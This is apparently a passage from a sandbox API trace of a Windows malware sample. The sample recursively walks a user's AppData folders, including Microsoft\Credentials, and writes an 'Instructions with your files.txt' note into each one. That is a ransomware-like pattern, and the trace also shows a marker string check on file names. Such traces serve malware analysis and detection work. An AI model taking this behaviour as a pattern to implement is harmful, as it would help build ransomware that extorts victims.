[0130.452] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.452] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.452] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.452] CloseHandle (hObject=0x118) returned 1
[0130.452] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.452] GetProcessHeap () returned 0x810000
[0130.452] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.452] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 0
[0130.452] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Instructions with your files.txt") returned 87
[0130.452] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0130.453] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0130.453] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0130.453] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0130.454] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0130.454] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0130.454] CloseHandle (hObject=0x114) returned 1
[0130.454] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0130.454] GetProcessHeap () returned 0x810000
[0130.454] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.454] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
[0130.454] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History") returned 55
[0130.454] GetProcessHeap () returned 0x810000
[0130.454] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x845bc0
[0130.454] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\*") returned 57
[0130.454] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="Ȭ癙찐\x8a翿")) returned 0xffffffff
[0130.454] GetProcessHeap () returned 0x810000
[0130.454] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x845bc0 | out: hHeap=0x810000) returned 1
[0130.454] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x874079e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x126d89, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1
[0130.454] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db") returned 60
[0130.454] StrStrIW (lpFirst="IconCache.db", lpSrch="SDfghjkl") returned 0x0
[0130.454] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
[0130.455] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft") returned 57
[0130.455] GetProcessHeap () returned 0x810000
[0130.455] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x845bc0
[0130.455] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\*") returned 59
[0130.455] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0130.455] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\.") returned 59
[0130.455] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.455] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\..") returned 60
[0130.455] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1
[0130.455] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials") returned 69
[0130.455] GetProcessHeap () returned 0x810000
[0130.455] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.455] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\*") returned 71
[0130.455] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.455] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\.") returned 71
[0130.455] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.455] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.455] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\..") returned 72
[0130.455] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.455] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.455] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\Instructions with your files.txt") returned 102
[0130.456] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\credentials\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.457] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.458] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.458] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.458] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.458] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.458] CloseHandle (hObject=0x118) returned 1
[0130.458] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.458] GetProcessHeap () returned 0x810000
[0130.458] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.458] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1
[0130.458] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer") returned 70
[0130.458] GetProcessHeap () returned 0x810000
[0130.458] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.458] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\*") returned 72
[0130.458] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.459] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\.") returned 72
[0130.459] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.459] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\..") returned 73
[0130.459] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.459] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\Instructions with your files.txt") returned 103
[0130.459] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\event viewer\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.459] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.461] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.461] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.461] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.461] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.461] CloseHandle (hObject=0x118) returned 1
[0130.461] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.461] GetProcessHeap () returned 0x810000
[0130.461] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.461] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1
[0130.461] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds") returned 63
[0130.461] GetProcessHeap () returned 0x810000
[0130.462] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.462] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\*") returned 65
[0130.462] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.464] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\.") returned 65
[0130.464] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.464] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\..") returned 66
[0130.464] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6e0227e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms", cAlternateFileName="FEEDSS~1.FEE")) returned 1
[0130.464] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 85
[0130.464] StrStrIW (lpFirst="FeedsStore.feedsdb-ms", lpSrch="SDfghjkl") returned 0x0
[0130.464] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Feeds~", cAlternateFileName="MICROS~1")) returned 1
[0130.464] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 80
[0130.464] GetProcessHeap () returned 0x810000
[0130.464] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.465] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*") returned 82
[0130.465] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.466] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\.") returned 82
